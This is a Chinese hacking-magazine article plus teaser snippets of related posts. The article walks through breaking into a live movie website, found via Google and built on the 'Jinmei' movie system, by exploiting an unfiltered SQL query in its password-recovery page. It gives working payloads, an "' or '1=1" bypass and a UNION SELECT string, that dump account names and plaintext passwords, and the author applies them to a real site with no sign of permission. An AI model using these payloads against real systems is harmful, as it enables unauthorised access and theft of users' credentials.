此文發表在2023年x檔案第4期
我開啟google,隨便搜尋了一下電影,點開了乙個。看了一下介面,知道和金梅電影系統關聯很大。金梅系統和"洞"網(7.0多啦,自己想的)差不多,也是有n多漏洞,比如注入啊,cookie欺騙什麼的。我就在x檔案03年11期看過一篇文章,寫的是用asc和mid函式對系統管理員帳戶進行猜測。我也想用這種方法猜測,猜了半天都沒猜對,真煩人,同學還在那邊等我哪,這不是很丟人。我決定找個簡單的辦法,還是讀讀原始碼吧!
39 <%ifrequest("myuserid")=""then%>
...58 <%else
setrs=server.createobject("adodb.recordset")
sql="selectpasswordfromuserswhereuserid='"&request("myuserid")&"'andcity='"&request("ask")&"'andadress='"&request("answer")&"'"
rs.opensql,conn,1,1
ifrs.eofandrs.bofthen%>
這裡果然沒過濾。好多人都想到了可以用上面的方法注入了。能不能有更簡單的方法呢?
我仔細考慮語句的形式如下:
selectpasswordfromuserswhereuserid=『『andcity=『『andadress='『
如果使用者名稱,密碼提示問題(city),密碼提示答案(adress)和表users一行匹配,便列印這行的password,而且是明文的。我想的過程就不寫了,後來我想到了一種方法,就是利用union查詢。功能是很弱的,不能執行命令,不能匯出文字,還不能注釋。有個子查詢可以利用之外,也就剩下這個union了。
怎麼利用呢?先在本機做實驗。測試過程簡略,直接寫有所收穫的結果。
要是知道了乙個該**的乙個使用者名稱(比如abc),可以這樣利用。
在"你註冊問題"處填:abc'or 『1=1(如果使用者名稱是bcd,就變為bcd'or『1=1)
密碼提示問題處隨便填幾個字母或數字,最好別有符號,容易影響結果:比如字母a
密碼提示答案處隨便填幾個字母或數字,填個a
回車後就看到該使用者的密碼了,簡單吧(如圖一)。
其實這樣一來,上面的語句就變為:
selectpasswordfromuserswhereuserid=『abc' or 『1=1『andcity=『a『andadress='a『
呵呵,程式無條件的執行了,因為被or『1=1'跳過後面的驗證了。
在"你註冊問題"處隨便處填幾個字母或數字,最好別有符號,容易影響結果:比如字母a
密碼提示問題處和上面一樣,隨便填:我也填個a
關鍵是在密碼提示答案:我填的是a'unionselect userid fromuserswhereoklook>=3or'0
上面就是要找**使用者的帳戶名(如圖二),看到使用者名稱後再用前面的方法找到密碼。
可以在where後面加很多引數並賦不同的值可以得到很多帳戶。
按上面的填入後輸入語句就變成了:
selectpasswordfromuserswhereuserid=『a『andcity=『a『andadress='a'unionselect userid fromusers whereoklook>=3or'0『
共2頁 1
sql注入之union注入
判斷是否存在注入點 判斷是什麼型別注入 字元型or數字型 判斷閉合方式 查詢列數個數 order by 5,獲得資料庫名 獲得表名 獲得欄位名 1.判斷是否存在注入點 可以用 單引號顯示資料庫錯誤資訊或者頁面回顯不同 2.判斷什麼型別 字元型or數字型 用and 1 1和and 1 2 如果頁面沒有...
SQL注入中的union注入
環境自己搭的 union聯合,合併,將多條查詢語句結果合併成乙個結果,union注入攻擊是手工測試 1.首先要判斷是否存在注入點 2.通過order by 1 99 查詢字段 首先應該用查詢出欄位 1.注 20表示空格,我這裡從1試到了7 到7的時候報錯,也就會是說有6個字段 2.我的回顯是2和4,...
sql注入 union聯合查詢注入
目錄 一,sql注入必記的一庫三表 二,union聯合查詢注入 1,基本注入流程 1,判斷注入點 2,判斷多少列 3,判斷顯示位 4,顯示資料庫的基本資訊 5,顯示有哪些資料庫 6,顯示資料庫下有哪些表 7,判斷表裡有哪些字段 八,查詢資料表中有哪些資料 information schema 資料庫...